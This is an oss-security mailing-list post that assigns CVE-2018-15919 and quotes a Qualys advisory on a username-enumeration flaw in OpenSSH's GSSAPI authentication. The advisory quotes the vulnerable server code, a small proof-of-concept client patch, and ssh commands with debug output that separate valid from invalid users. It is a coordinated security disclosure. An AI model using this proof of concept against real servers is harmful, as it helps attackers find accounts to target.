[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    Re: [oss-security] Another OpenSSH "user enumeration"
From:       Marcus Meissner <meissner () suse ! de>
Date:       2018-08-28 7:55:23
Message-ID: 20180828075523.i3pyzaxxa7yrhbq5 () suse ! de
[Download RAW message or body]

Hi,

Mitre has assigned CVE-2018-15919

Ciao, Marcus

On Mon, Aug 27, 2018 at 09:27:30AM -0700, Qualys Security Advisory wrote:
> Hi all,
> 
> On August 24, 2018, we sent the following email to openssh@openssh.com
> and distros@vs.openwall.org. About the disclosure of this issue, Solar
> Designer wrote "I'd be even happier with it being made public right away
> if that's OK with both the OpenSSH team and Qualys", and Theo de Raadt
> wrote "More than reporting to us, I urge you to publish it"; for a
> detailed explanation, please refer to Damien Miller's post:
> 
> http://www.openwall.com/lists/oss-security/2018/08/24/1
> 
> We thank the OpenSSH developers and the members of
> distros@vs.openwall.org for their constructive comments, suggestions,
> and feedback.
> 
> ========================================================================
> 
> While properly reviewing the now-famous OpenSSH commit
> https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
> we discovered another username-enumeration vulnerability in auth2-gss.c
> (enabled by default on at least Fedora, CentOS, and Red Hat Enterprise
> Linux).
> 
> This vulnerability affects OpenSSH versions from 5.9 (September 6, 2011)
> to the recently released 7.8 (August 24, 2018), inclusive. It is quite
> similar to CVE-2018-15473 (it is not a timing attack), but it is also
> markedly different (code excerpts from OpenSSH 7.8p1):
> 
> 61 static int
> 62 userauth_gssapi(struct ssh *ssh)
> 63 {
> ...
> 106         if (!authctxt->valid || authctxt->user == NULL) {
> 107                 debug2("%s: disabled because of invalid user", __func__);
> 108                 free(doid);
> 109                 return (0);
> 110         }
> 111 
> 112         if (GSS_ERROR(PRIVSEP(ssh_gssapi_server_ctx(&ctxt, &goid)))) {
> 113                 if (ctxt != NULL)
> 114                         ssh_gssapi_delete_ctx(&ctxt);
> 115                 free(doid);
> 116                 authctxt->server_caused_failure = 1;
> 117                 return (0);
> 118         }
> ...
> 123         if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_GSSAPI_RESPONSE)) != 0 ||
> 124             (r = sshpkt_put_string(ssh, doid, len)) != 0 ||
> 125             (r = sshpkt_send(ssh)) != 0)
> ...
> 132         authctxt->postponed = 1;
> 133 
> 134         return (0);
> 135 }
> 
> - If this first step of the GSSAPI authentication succeeds, then
> "postponed" is set to 1 (at line 132) and the server sends a packet
> SSH2_MSG_USERAUTH_GSSAPI_RESPONSE to the attacker (at lines 123-125):
> in this particular case, the user is necessarily valid (it exists).
> 
> - Otherwise "postponed" is not set, and userauth_gssapi() returns 0 at
> line 117 or 109: in both cases, the server's userauth_finish() sends a
> packet SSH2_MSG_USERAUTH_FAILURE to the attacker, who should therefore
> be unable to distinguish between a valid and invalid user. However, if
> the user is valid, then "server_caused_failure" is set (at line 116);
> if the user is invalid, it is not set. Consequently, the behavior of
> userauth_finish() changes:
> 
> 340 void
> 341 userauth_finish(struct ssh *ssh, int authenticated, const char *method,
> 342     const char *submethod)
> 343 {
> ...
> 410                 if (!partial && !authctxt->server_caused_failure &&
> 411                     (authctxt->attempt > 1 || strcmp(method, "none") != 0))
> 412                         authctxt->failures++;
> 413                 if (authctxt->failures >= options.max_authtries) {
> ...
> 417                         auth_maxtries_exceeded(authctxt);
> 418                 }
> ...
> 422                 packet_start(SSH2_MSG_USERAUTH_FAILURE);
> 423                 packet_put_cstring(methods);
> 424                 packet_put_char(partial);
> 425                 packet_send();
> ...
> 429 }
> 
> . if the user is valid, then "server_caused_failure" is set,
> "failures" is not incremented, and the attacker can attempt the
> GSSAPI authentication indefinitely;
> 
> . if the user is invalid, then "server_caused_failure" is not set,
> "failures" is incremented (at line 412), and the server will
> disconnect the attacker (at line 417) after max_authtries
> authentication attempts (6, by default).
> 
> Below is a very crude proof-of-concept (a patch for the client in
> OpenSSH 7.8p1):
> 
> ------------------------------------------------------------------------
> 
> diff -pruN openssh-7.8p1/gss-genr.c openssh-7.8p1-poc/gss-genr.c
> --- openssh-7.8p1/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/gss-genr.c	2018-08-22 22:41:42.000000000 -0700
> @@ -286,6 +286,7 @@ ssh_gssapi_check_mechanism(Gssctxt **ctx
> 
> 	ssh_gssapi_build_ctx(ctx);
> 	ssh_gssapi_set_oid(*ctx, oid);
> +	return 1;
> 	major = ssh_gssapi_import_name(*ctx, host);
> 	if (!GSS_ERROR(major)) {
> 		major = ssh_gssapi_init_ctx(*ctx, 0, GSS_C_NO_BUFFER, &token, 
> diff -pruN openssh-7.8p1/sshconnect2.c openssh-7.8p1-poc/sshconnect2.c
> --- openssh-7.8p1/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
> +++ openssh-7.8p1-poc/sshconnect2.c	2018-08-22 22:41:42.000000000 -0700
> @@ -701,6 +701,7 @@ userauth_gssapi(Authctxt *authctxt)
> 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_TOKEN, &input_gssapi_token);
> 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERROR, &input_gssapi_error);
> 	ssh_dispatch_set(ssh, SSH2_MSG_USERAUTH_GSSAPI_ERRTOK, &input_gssapi_errtok);
> +	return 1;
> 
> 	mech++; /* Move along to next candidate */
> 
> ------------------------------------------------------------------------
> 
> For example, on Fedora, "adm" is a valid user, but "pocorgtfo" is not:
> 
> ------------------------------------------------------------------------
> 
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic adm@127.0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> ...
> 
> ./ssh -v -F /etc/ssh/ssh_config -o PreferredAuthentications=gssapi-with-mic \
>                 pocorgtfo@127.0.0.1
> ...
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Next authentication method: gssapi-with-mic
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> debug1: Authentications that can continue: publickey,gssapi-with-mic,password
> Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
> Disconnected from 127.0.0.1 port 22
> 
> ------------------------------------------------------------------------
> 
> We understand that the OpenSSH developers do not want to treat such a
> username enumeration (or "oracle") as a vulnerability (although it is
> quite useful in an attacker's toolbox), but how should we coordinate
> this disclosure, then? OpenSSH developers, distros, please advise.
> 
> Thank you very much! With best regards,
> 
> -- 
> the Qualys Security Advisory team
> 

-- 
Marcus Meissner,SUSE LINUX GmbH; Maxfeldstrasse 5; D-90409 Nuernberg; Zi. 3.1-33,+49-911-740 \
53-432,,serv=loki,mail=wotan,type=real <meissner@suse.de>


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic